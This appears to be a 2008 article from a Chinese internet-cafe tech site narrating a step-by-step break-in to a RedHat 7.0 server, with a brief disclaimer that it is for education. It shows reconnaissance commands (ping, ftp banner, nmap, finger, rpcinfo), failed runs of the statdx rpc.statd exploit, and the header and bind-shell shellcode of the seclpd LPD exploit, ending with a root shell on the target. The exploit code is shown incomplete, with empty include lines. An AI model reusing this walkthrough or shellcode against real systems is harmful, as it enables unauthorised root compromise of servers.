设为首页
加入收藏
联系我们
   
   
文章搜索
精品推荐
分类导航
操作系统 佳软推介
冲浪宝典 办公专区
网页制作 网络安全
应用安全 黑客攻防
QQ空间
热门文章
· 怎样降低网吧运行成本
· 可免费升级一年的卡巴
· 只读更新全程图解教程
· 迅闪v4.5破解版[附教程
· 非主流18禁淫荡图片_非
· 网吧母盘的制作
· [西安]孙清云专门批示
· 详的XP母盘制作
· 网吧推出女性专区(图)
· 非主流梦幻少女的鞋鞋
· 玩酷FZL_彩绘酷型帽子
· 经典-唯美花儿银饰
· 新年绝美款日系Party鞋
· 韩式Feizl_可爱发饰
· 可爱公主_FZL糖果胸针
· 珍珠个性Fzl美饰
· 个性非主流挂坠
· 少女可爱零钱包挂件
相关文章
 3.8妇女节 六款女士 
 推荐连锁网吧选址策略研究 
 客厅新宠 高端时尚新 
 开学最爽配置 五千元 
 整合主板迈入DX10时 
 售后服务有保障 盒装 
 从入门到骨灰 6款An 
 玩游戏利器 入门及专 
 瀚视奇获TOM数码-非 
 很好!很强大 2000-2 
 热销推荐!金盈利安全 
 加强安全意识:再现一次曲 
 拒绝做PC附属品 6款 
 周四DC圣诞新年将至 
 周四DC奥运年到来 新 
 散热器升级 高性能静 
 一支独秀!极速V80荣 
 聆听平安序曲 圣诞年 
 浪漫日子到!圣诞节 
 享受快乐科技 明基鼠 
 26PRO只399?年底超 
 享受宁静生活 静音热 
 投名状PK集结号 爽看 
 元旦特价 4000以内 
 推荐下载 小工具检测来自A 
 [推荐]如何利用UNIX系统的 
 [推荐]Linux下如何限制Roo 
 [推荐]如何选择一款合适的 
 [推荐]双Linux和多Linux系 
 [推荐]不用关闭selinux而成 
 [推荐]Linux日志系统详细介 
 [推荐]关于Linux为什么最多 
 [推荐]自动挂载Windows文件 
 [推荐]用U盘加载控制器驱动 
 [推荐]GPT磁盘:Linux系统 
 [推荐]Linux无盘工作站架设 
 [推荐]浅析Windows2003的两 
 [推荐]xp系统网上邻居无法 
 [推荐]网管 你会停用Win X 
 [推荐]五大注意事项 防止系 




您当前的位置:西安网吧在线 -> 电脑技巧 -> 操作系统 -> 文章内容

[推荐]一次曲折的RedHat Linux操作系统入侵

作者:Cn029.Com  来源:不详  发布时间:2008-1-2 0:32:02  发布人:Cn029.Com

减小字体 增大字体

此文的目的不在于教人入侵,而是为了提高自身的技术和加强网络管理员的安全防范意识。仅此而已!粗心大意的网络管理员应该明白:由于你们一个小小的操作失误可能会导致整个网络全面沦陷!本文主要是围绕LPD:网络打印服务的攻击而进行的。

首先确定目标,假设是:www.XXX.com

先让俺看看是不是连得上:

C:\ping www.XXX.com
Pinging www.XXX.com[202.106.184.200] with 32 bytes of data:
Reply from 202.106.184.200: bytes=32 time=541ms TTL=244
Reply from 202.106.184.200: bytes=32 time=620ms TTL=244
Reply from 202.106.184.200: bytes=32 time=651ms TTL=244
Reply from 202.106.184.200: bytes=32 time=511ms TTL=244
Ping statistics for 202.106.184.200:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 511ms, Maximum = 651ms, Average = 580ms

嘻嘻—不但连得上,速度还不错……

先telnet看看banner:

C:\>telnet www.XXX.com

遗失对主机的连接。

再试试ftp,

C:\>ftp www.XXX.com

Connected to www.fbi.gov.tw.

220 XXX-www FTP server (Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000) ready.

User (www.XXX.com:none)):

wu-2.6.1看来有点眉目了。这台机器像是RedHat7.0!首先必须确认一下,连上俺的跳板:

      C:\>telnet xxx.xxx.xxx.xxx
Red Hat Linux release 7.0 (Guinness)
Kernel 2.2.16-22smp on an i686
login: fetdog
Password:
bash-2.04$

拿nmap扫描器,看看其中的奥妙~~~

      bash-2.04$nmap -sT -O www.XXX.com
Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )
WARNING! The following files exist and are readable: /usr/local/sha
-services and ./nmap-services. I am choosing /usr/local/share/nmap/
s for security reasons. set NMAPDIR=. to give priority to files in
irectory
Interesting ports on (www.XXX.com):
(The 1520 ports scanned but not shown below are in state: closed)
Port State Service
25/tcp open smtp
79/tcp open finger
80/tcp open http
111/tcp open sunrpc
113/tcp open auth
443/tcp open https
513/tcp open login
514/tcp open shell
515/tcp open printer
587/tcp open submission
1024/tcp open kdm
TCP Sequence Prediction: Class=random positive increments
Difficulty=3247917 (Good luck!)
Remote operating system guess: Linux 2.1.122 - 2.2.16
Nmap run completed -- 1 IP address (1 host up) scanned in 9 seconds

打开的端口还挺多,这意味着入侵的可能性增加。79/tcp open finger ,先看看这个,不过linux没有finger用户列表这个漏洞。

bash-2.04$finger @www.XXX.com

[www.XXX.com]

No one logged on.

再看看111/tcp open sunrpc 。近来rpc漏洞风行,不知道RH7这个东东会不会有?先看看再说!

      bash-2.04$rpcinfo -p www.XXX.com 
program vers proto port service
100000 2 tcp 111 rpcbind
100000 2 udp 111 rpcbind
100021 1 udp 1024 nlockmgr
100021 3 udp 1024 nlockmgr
100024 1 udp 1025 status
100024 1 tcp 1024 status

看来有rpc.statd服务。来看看能不能远程溢出拿个rootshell。

      bash-2.04$./statdx -h
statdx by ron1n
Usage: stat [-t] [-p port] [-a addr] [-l len]
[-o offset] [-w num] [-s secs] [-d type]
-t attack a tcp dispatcher [udp]
-p rpc.statd serves requests on [query]
-a the stack address of the buffer is
-l the length of the buffer is [1024]
-o the offset to return to is [600]
-w the number of dwords to wipe is [9]
-s set timeout in seconds to [5]
-d use a hardcoded
Available types:
0 Redhat 6.2 (nfs-utils-0.1.6-2)
1 Redhat 6.1 (knfsd-1.4.7-7)
2 Redhat 6.0 (knfsd-1.2.2-4)

看来并不支持RH7。还是继续尝试,把0-2全部试试看再说!start……

      bash-2.04$stat -d 0 www.XXX.com
buffer: 0xbffff314 length: 999 (+str/+nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
Failed - statd returned res_stat: (failure) state: 21

受挫,再试……

      bash-2.04$stat -d 1 www.XXX.com
buffer: 0xbffff314 length: 999 (+str/+nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
Failed - statd returned res_stat: (failure) state: 21

一样!继续……

      bash-2.04$stat -d 1 www.XXX.com
buffer: 0xbffff314 length: 999 (+str/+nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
Failed - statd returned res_stat: (failure) state: 21

rpc.statd行不通,想想RH7应该有个远程溢出,好像是lp服务造成的。“seclpd.c”应该是这个东东了。

—————以下代码仅供教学使用,决不能用来进行恶意攻击—————

     /*
* Welcome to http://hlc.cnroot.com/
* Run: ./SEClpd victim brute -t type
* Try first ./SEClpd victim -t 0 then try the brute.
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define ADDRESS_BUFFER_SIZE 32+4
#define APPEND_BUFFER_SIZE 52
#define FORMAT_LENGTH 512-8
#define NOPCOUNT 200
#define SHELLCODE_COUNT 1030
#define DELAY 50000 /* usecs */
#define OFFSET_LIMIT 5000
char shellcode[] =
"\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80"
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";

brute暴力破解。等上5-8分钟左右,结果出来了。

- [+] shell located on www.XXX.com
- [+] Enter Commands at will
Linux XXX.WWW 2.2.16-22smp #1 SMP Tue Aug 22 16:39:21 EDT 2000 i686 unknown
uid=0(root) gid=7(lp)

uid=0(root权限),现在可以进一步入侵!但不要做坏事!



声 明: 西安网吧在线(Cn029.Com) 所发表的文章与图片仅代表作者本人观点,与本站立场无关,
也不构成任何建议。对本文有任何异议,请联络: webmaster@cn029.com
若文章内容侵犯了您的相关权益,请及时与我们联系,我们会及时处理,感谢您对本站的支持!

[] [返回上一页] [打 印] [收 藏]
    ∷相关文章评论∷ (评论内容只代表网友观点,与本站立场无关!)查看完整评论内容
    文章评论     请注意用语文明且合法,不要发布带有攻击性的言论,谢谢合作!!
用户名
分  值
100分 80分 50分 10分 0分
评  论
  (注“”为必填内容。)